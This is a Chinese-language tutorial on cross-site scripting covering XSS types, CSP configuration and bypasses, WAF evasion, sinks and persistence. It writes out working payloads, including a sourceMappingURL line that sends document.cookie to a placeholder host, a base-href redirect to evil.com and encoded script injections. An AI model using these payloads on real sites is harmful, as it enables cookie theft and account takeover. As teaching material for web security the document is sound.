XSS(夸站脚本攻击)
什么是XSS
XSS全称为Cross Site Scripting,为了和CSS分开简写为XSS,中文名为跨站脚本。该漏洞发生在用户端,是指在渲染过程中发生了不在预期过程中的JavaScript代码执行。XSS通常被用于获取Cookie、以受攻击者的身份进行操作等行为。
XSS四种类型
XSS 分为四种类型:反射型XSS
、储存型XSS
、DOM XSS
、Blind XSS
。
反射型XSS
反射型XSS是比较常见和广泛的一类,举例来说,当一个网站的代码中包含类似下面的语句:
<?php echo "<p>hello, $_GET['user']</p>";?>
,那么在访问时设置
/?user=</p><script>alert("hack")</script><p>
,则可执行预设好的JavaScript代码。
反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor、NoScript等防御手段的影响较大。
储存型XSS
储存型XSS相比反射型来说危害较大,在这种漏洞中,攻击者能够把攻击载荷存入服务器的数据库中,造成持久化的攻击。
DOM XSS
DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系,而是在JavaScript脚本动态执行的过程中产生的。
<html>
<head>
<title>DOM Based XSS Demo</title>
<script>
function xsstest() {
var str = document.getElementById("input").value;
document.getElementById("output").innerHTML = "<img src='" + str + "'></img>";
}
</script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" />
</body>
</html>
<html>
<head>
<title>DOM Based XSS Demo</title>
<script>
function xsstest() {
var str = document.getElementById("input").value;
document.getElementById("output").innerHTML = "<img src='" + str + "'></img>";
}
</script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" />
</body>
</html>
输入 x' onerror='javascript:alert(/xss/)
即可触发。
Blind XSS
Blind XSS是储存型XSS的一种,它保存在某些存储中,当一个“受害者”访问这个页面时执行,并且在文档对象模型(DOM)中呈现payload。 它被称为Blind的原因是因为它通常发生在通常不暴露给用户的功能上。
XSS的危害
存在XSS漏洞时,可能会导致以下几种情况:
- 用户的Cookie被获取,其中可能存在Session ID等敏感信息。若服务器端没有做相应防护,攻击者可用对应Cookie登陆服务器。
- 攻击者能够在一定限度内记录用户的键盘输入。
- 攻击者通过CSRF等方式以用户身份执行危险操作。
- XSS蠕虫。
- 获取用户浏览器信息。
- 利用XSS漏洞扫描用户内网。
CSP
Content Security Policy,简称 CSP,译作内容安全策略
。顾名思义,这个规范与内容安全有关,主要是用来定义哪些资源可以被当前页面加载,减少 XSS 的发生。
配置
CSP配置:CSP策略可以通过 HTTP 头信息或者 meta 元素定义,CSP 有三类:
Content-Security-Policy (Google Chrome)
X-Content-Security-Policy (Firefox)
X-WebKit-CSP (WebKit-based browsers, e.g. Safari)
HTTP header:
"Content-Security-Policy:" 策略
"Content-Security-Policy-Report-Only:" 策略
HTTP header:
"Content-Security-Policy:" 策略
"Content-Security-Policy-Report-Only:" 策略
HTTP Content-Security-Policy 头可以指定一个或多个资源是安全的,而Content-Security-Policy-Report-Only则是允许服务器检查(非强制)一个策略。多个头的策略定义由优先采用最先定义的。
HTML Meta:
<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only" content="策略">
<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only" content="策略">
指令说明
指令 | 说明 |
---|---|
default-src | 定义资源默认加载策略 |
connect-src | 定义 Ajax、WebSocket 等加载策略 |
font-src | 定义 Font 加载策略 |
frame-src | 定义 Frame 加载策略 |
img-src | 定义图片加载策略 |
media-src | 定义 <audio> 、<video> 等引用资源加载策略 |
object-src | 定义 <applet> 、<embed> 、<object> 等引用资源加载策略 |
script-src | 定义 JS 加载策略 |
style-src | 定义 CSS 加载策略 |
base-uri | 定义 <base> 根URL策略,不使用default-src作为默认值 |
sandbox | 值为 allow-forms,对资源启用 sandbox |
report-uri | 值为 /report-uri,提交日志 |
关键字
关键字 | 描述 |
---|---|
- | 允许从任意url加载,除了 data: blob: filesystem: schemes(e.g. img-src - ) |
none | 禁止从任何url加载资源(e.g. object-src 'none' ) |
self | 只可以加载同源资源(e.g. img-src 'self' ) |
data: | 可以通过data协议加载资源(e.g. img-src 'self' data: ) |
domain.example.com | 只可以从特定的域加载资源(e.g. img-src domain.example.com ) |
\*.example.com | 可以从任意example.com的子域处加载资源(e.g. img-src \*.example.com ) |
https://cdn.com | 只能从给定的域用https加载资源(e.g. img-src https://cdn.com ) |
https: | 只能从任意域用https加载资源(e.g. img-src https: ) |
unsafe-inline | 允许内部资源执行代码例如style attribute,onclick或者是sicript标签(e.g. script-src 'unsafe-inline' ) |
unsafe-eval | 允许一些不安全的代码执行方式,例如js的eval()(e.g. script-src 'unsafe-eval' ) |
nonce-<base64-value>' | 使用随机的nonce,允许加载标签上nonce属性匹配的标签(e.g. script-src 'nonce-bm9uY2U=' ) |
<hash-algo>-<base64-value>' | 允许hash值匹配的代码块被执行(e.g. script-src 'sha256-<base64-value>' ) |
配置范例
允许执行内联 JS 代码,但不允许加载外部资源
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
Bypass
预加载
浏览器为了增强用户体验,让浏览器更有效率,就有一个预加载的功能,大体是利用浏览器空闲时间去加载指定的内容,然后缓存起来。这个技术又细分为DNS-prefetch、subresource、prefetch、preconnect、prerender。
HTML5页面预加载是用link标签的rel属性来指定的。如果csp头有unsafe-inline,则用预加载的方式可以向外界发出请求,例如
<!-- 预加载某个页面 -->
<link rel='prefetch' href='http://xxxx'><!-- firefox -->
<link rel='prerender' href='http://xxxx'><!-- chrome -->
<!-- 预加载某个图片 -->
<link rel='prefetch' href='http://xxxx/x.jpg'>
<!-- DNS 预解析 -->
<link rel="dns-prefetch" href="http://xxxx">
<!-- 特定文件类型预加载 -->
<link rel='preload' href='//xxxxx/xx.js'><!-- chrome -->
<!-- 预加载某个页面 -->
<link rel='prefetch' href='http://xxxx'><!-- firefox -->
<link rel='prerender' href='http://xxxx'><!-- chrome -->
<!-- 预加载某个图片 -->
<link rel='prefetch' href='http://xxxx/x.jpg'>
<!-- DNS 预解析 -->
<link rel="dns-prefetch" href="http://xxxx">
<!-- 特定文件类型预加载 -->
<link rel='preload' href='//xxxxx/xx.js'><!-- chrome -->
另外,不是所有的页面都能够被预加载,当资源类型如下时,将阻止预加载操作:
URL中包含下载资源;
页面中包含音频、视频;
POST、PUT和DELET操作的ajax请求;
HTTP认证;
HTTPS页面;
含恶意软件的页面;
弹窗页面;
占用资源很多的页面;
打开了chrome developer tools开发工具;
MIME Sniff
举例来说,csp禁止跨站读取脚本,但是可以跨站读img,那么传一个含有脚本的img,再<script href='http://xxx.com/xx.jpg'>
,这里csp认为是一个img,绕过了检查,如果网站没有回正确的mime type,浏览器会进行猜测,就可能加载该img作为脚本
302跳转
对于302跳转绕过CSP而言,实际上有以下几点限制:
- 跳板必须在允许的域内。
- 要加载的文件的host部分必须跟允许的域的host部分一致。
iframe
当可以执行代码时,可以创建一个源为 css js 等静态文件的frame,在配置不当时,该frame并不存在csp,则在该frame下再次创建frame,达到bypass的目的。同理,使用 ../../../ /%2e%2e%2f
等可能触发服务器报错的链接也可以到达相应的目的。
base-uri
当script-src为nonce或无限制,且base-uri无限制时,可通过 base 标签修改根URL来bypass,如下加载了http://evil.com/main.js
<base href="http://evil.com/">
<script nonce="correct value" src="/main.js"></script>
<base href="http://evil.com/">
<script nonce="correct value" src="/main.js"></script>
其他
- location 绕过
- 可上传SVG时,通过恶意SVG绕过同源站点
- 存在CRLF漏洞且可控点在CSP上方时,可以注入HTTP响应中影响CSP解析
- CND Bypass,如果网站信任了某个CDN, 那么可利用相应CDN的静态资源bypass
- Angular versions
<1.5.9 >=1.5.0
,存在漏洞 Git Pull Request - jQuery sourcemap:
document.write(`<script>
//@ sourceMappingURL=http://xxxx/`+document.cookie+`<\/script>`);``
document.write(`<script>
//@ sourceMappingURL=http://xxxx/`+document.cookie+`<\/script>`);``
- a标签的ping属性
- For FireFox:
<META HTTP-EQUIV="refresh" CONTENT="0; url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnSWhhdmVZb3VOb3cnKTs8L3NjcmlwdD4=">
<link rel="import" />
<meta http-equiv="refresh" content="0; url=http://...." />
- 仅限制 script-src 时:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
XSS数据源
途径 | 说明 |
---|---|
URL | location location.href location.pathname location.search location.hash document.URL document.documentURI document.baseURI |
Navigation | window.name document.referrer |
Communication | Ajax Fetch WebSocket PostMessage |
Storage | Cookie LocalStorage SessionStorage |
Sink
执行JavaScript:
eval(payload)
setTimeout(payload, 100)
setInterval(payload, 100)
Function(payload)()
<script>payload</script>
<img src=x onerror=payload>
加载URL:
location=javascript:alert(/xss/)
location.href=javascript:alert(/xss/)
location.assign(javascript:alert(/xss/))
location.replace(javascript:alert(/xss/))
执行HTML:
xx.innerHTML=payload
xx.outerHTML=payload
document.write(payload)
document.writeln(payload)
XSS保护
HTML过滤
使用一些白名单或者黑名单来过滤用户输入的HTML,以实现过滤的效果。例如DOMPurify等工具都是用该方式实现了XSS的保护。
X-Frame
X-Frame-Options 响应头有三个可选的值:
DENY
:页面不能被嵌入到任何iframe或frame中SAMEORIGIN
:页面只能被本站页面嵌入到iframe或者frame中ALLOW-FROM
:页面允许frame或frame加载
WAF Bypass
利用<>标记
利用html属性
- href
- lowsrc
- bgsound
- background
- value
- action
- dynsrc
关键字
- 利用回车拆分
- 字符串拼接:
window["al" + "ert"]
利用编码绕过
- base64
- jsfuck
- String.fromCharCode
- HTML
- URL
- hex:
window["\x61\x6c\x65\x72\x74"]
- unicode
- utf7:
+ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-
- utf16
大小写混淆
对标签属性值转码
产生事件
css跨站解析
长度限制bypass
eval(name)
eval(hash)
import
$.getScript
$.get
.
- 使用 。 绕过IP/域名
- document['cookie'] 绕过属性取值
过滤引号用
`
绕过
技巧
- httponly
- CSS 注入
- Bypass Via Script Gadgets
- RPO(Relative Path Overwrite)
Payload
整理中...
持久化
基于存储
有时候网站会将信息存储在Cookie或localStorage,而因为这些数据一般是网站主动存储的,很多时候没有对Cookie或localStorage中取出的数据做过滤,会直接将其取出并展示在页面中,甚至存了JSON格式的数据时,部分站点存在 eval(data) 之类的调用。因此当有一个XSS时,可以把payload写入其中,在对应条件下触发。
在一些条件下,这种利用方式可能因为一些特殊字符造成问题,可以使用 String.fromCharCode 来绕过。
Service Worker
Service Worker可以拦截http请求,起到类似本地代理的作用,故可以使用Service Worker Hook一些请求,在请求中返回攻击代码,以实现持久化攻击的目的。
在Chrome中,可通过 chrome://inspect/#service-workers
来查看Service Worker的状态,并进行停止。
AppCache
在可控的网络环境下(公共wifi),可以使用AppCache机制,来强制存储一些Payload,未清除的情况下,用户访问站点时对应的payload会一直存在。